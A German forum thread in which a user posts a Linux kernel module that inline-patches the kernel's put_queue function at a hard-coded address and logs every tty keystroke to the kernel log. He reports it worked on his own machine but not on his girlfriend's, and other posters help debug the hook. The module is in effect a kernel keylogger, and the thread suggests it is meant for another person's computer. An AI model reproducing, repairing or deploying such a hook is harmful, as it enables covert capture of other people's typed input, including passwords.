Function Hijacking - put_queue



  • Guten Tach!
    Also, ich schreibe gerade ein Kernelmodul, dass die Funktion put_queue quasi abfangen soll. Auf meinem Rechner hat es gestern funktioniert - bei meiner Freundin leider nicht.

    Wenn ich das Modul lade, funktioniert die Kiste noch einwandfrei - allerdings werden auf dem tty keine Zeichen mehr ausgegeben.
    Wenn das Modul beenden wird, klappt alles wieder einwandfrei... vielleicht hat hier ja einer 'ne kleine Idee, woran es liegen könnte:

    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/string.h>
    
    #define LICENSE "GPL"
    #define VERSION "0.1"
    #define CODESIZE 7
    #define ADDRESS 0xc027a860;	// UNBEDINGT ANPASSEN!!!
    
    // global variables:
    void (*put_queue)(int) = (void(*)(int))ADDRESS;
    
    static char code[CODESIZE];
    static char jump[CODESIZE] =
     "\xb8\x00\x00\x00\x00"
     "\xff\xe0";
    
    // prototypes:
    void _put_queue (int ch);
    
    /* ----------------------------------------------
         function: _put_queue
       ---------------------------------------------- */
    void _put_queue (int ch) {
      printk ("flog: %d\n", ch);
    
      memcpy (put_queue, code, CODESIZE);	// restore byte of the original code
      put_queue (ch);			// call function
      memcpy (put_queue, jump, CODESIZE);	// re-restore jump code
    }
    
    /* ----------------------------------------------
         function: init_module
       ---------------------------------------------- */
    int init_module (void) {
      printk ("flog version %s: session start\n", VERSION);
    
      *(long*)&jump[1] = (long)_put_queue;	// get address
      memcpy (code, put_queue, CODESIZE);	// save original code
      memcpy (put_queue, jump, CODESIZE);	// set jump code
    
      return (0);
    }
    
    /* ----------------------------------------------
         function: cleanup_module
       ---------------------------------------------- */
    void cleanup_module (void) {
      memcpy (put_queue, code, CODESIZE);
    }
    
    // Macros:
    MODULE_LICENSE (LICENSE);
    

    Mfg, Lord Kefir



  • Ups... sorry für's stören. Nach Konstanten sollte man lieber kein Semikolon setzen 😉

    Mfg, Lord Kefir



  • Daran kann es aber eigentlich nicht gelegen haben?

    #define ADDRESS 0xc027a860;    // UNBEDINGT ANPASSEN!!!
    void (*put_queue)(int) = (void(*)(int))ADDRESS;
    

    wird ja nur zu:

    void (*put_queue)(int) = (void(*)(int))0xc027a860;;
    

    was vollkommen legitim ist. das problem muss wo anderes gelegen haben. hast du das diesmal evnt bei deiner freundin kompiliert? dass es daran lag? o.o



  • Ne, daran lag es auch nicht - habe mich zu früh gefreut. Keine Ahnung wo der Fehler liegen soll. Die Adresse zur Funktion muss definitiv richtig sein - sonst würde der Rechner ja auch nicht einwandfrei funktionieren, wenn man das Modul entlädt, oder?

    Andererseits muss - meiner Einschätzung nach - das Problem darin bestehen, dass die Funktion put_queue nicht aufgerufen wird. Es fragt sich nur warum...

    Das Problem taucht unter dem 2.4.29er und dem 2.6.12.5er Kernel auf. Zu Hause hatte ich exakt denselben 2.4er Kernel unter derselben Distribution laufen (Slackware 10.1).

    Mfg, Lord Kefir

    [edit]
    Komisch - muss wirklich an der Andresse liegen. Ich habe folgende genommen:

    lordkefir@linda:~$ grep put_queue /proc/kallsyms
    c027a860 t put_queue
    c02a5700 t cfq_put_queue
    

    Aber was ist daran denn jetzt falsch?! 😕
    [/edit]



  • Weiss nicht, ob ich Dir helfen kann, aber zwei Sachen sind mir aufgefallen.

    1. In der init_module - Funktion steht

    *(long*)&jump[1] = (long)_put_queue;	// get address
    

    Warum speicherst Du die Adresse der Funktion _put_queue erst ab dem 2. Byte von jump und nicht ab dem 1. Byte, also

    *(long*)jump = (long)_put_queue;
    

    , denn schliesslich überschreibst Du ja auch put_queue mit dem Inhalt von jump ab dem 1. Byte (2 Zeilen später)? Vielleicht macht Dein Vorgehen Sinn und ich kenne mich mit Modulen einfach nicht gut genug aus, aber das ist mir halt erst einmal aufgefallen.

    2. Deine _put_queue überschreibt den "globalen" Funktionszeiger put_queue bei jedem Aufruf. Ich würde in der Funktion _put_queue einen lokalen Funktionszeiger verwenden oder noch besser anstatt das char-Array "code" dort direkt einen Funktionszeiger verwenden. Durch das Hin- und Herschreiben kann es u.U. zu Problemen bei mehreren Kernelthreads kommen (spätestens bei SMP).

    Aber womöglich verstehe ich auch nur den Code nicht, z.B. CODESIZE=7 ist mir für einen Funktionszeiger ein Rätsel... 🙄



  • Habe mich beim basteln u.a. an folgendes HowTo gehalten:
    http://www.rfxnetworks.com/docs/kernel-hijack.txt

    Mfg, Lord Kefir


Anmelden zum Antworten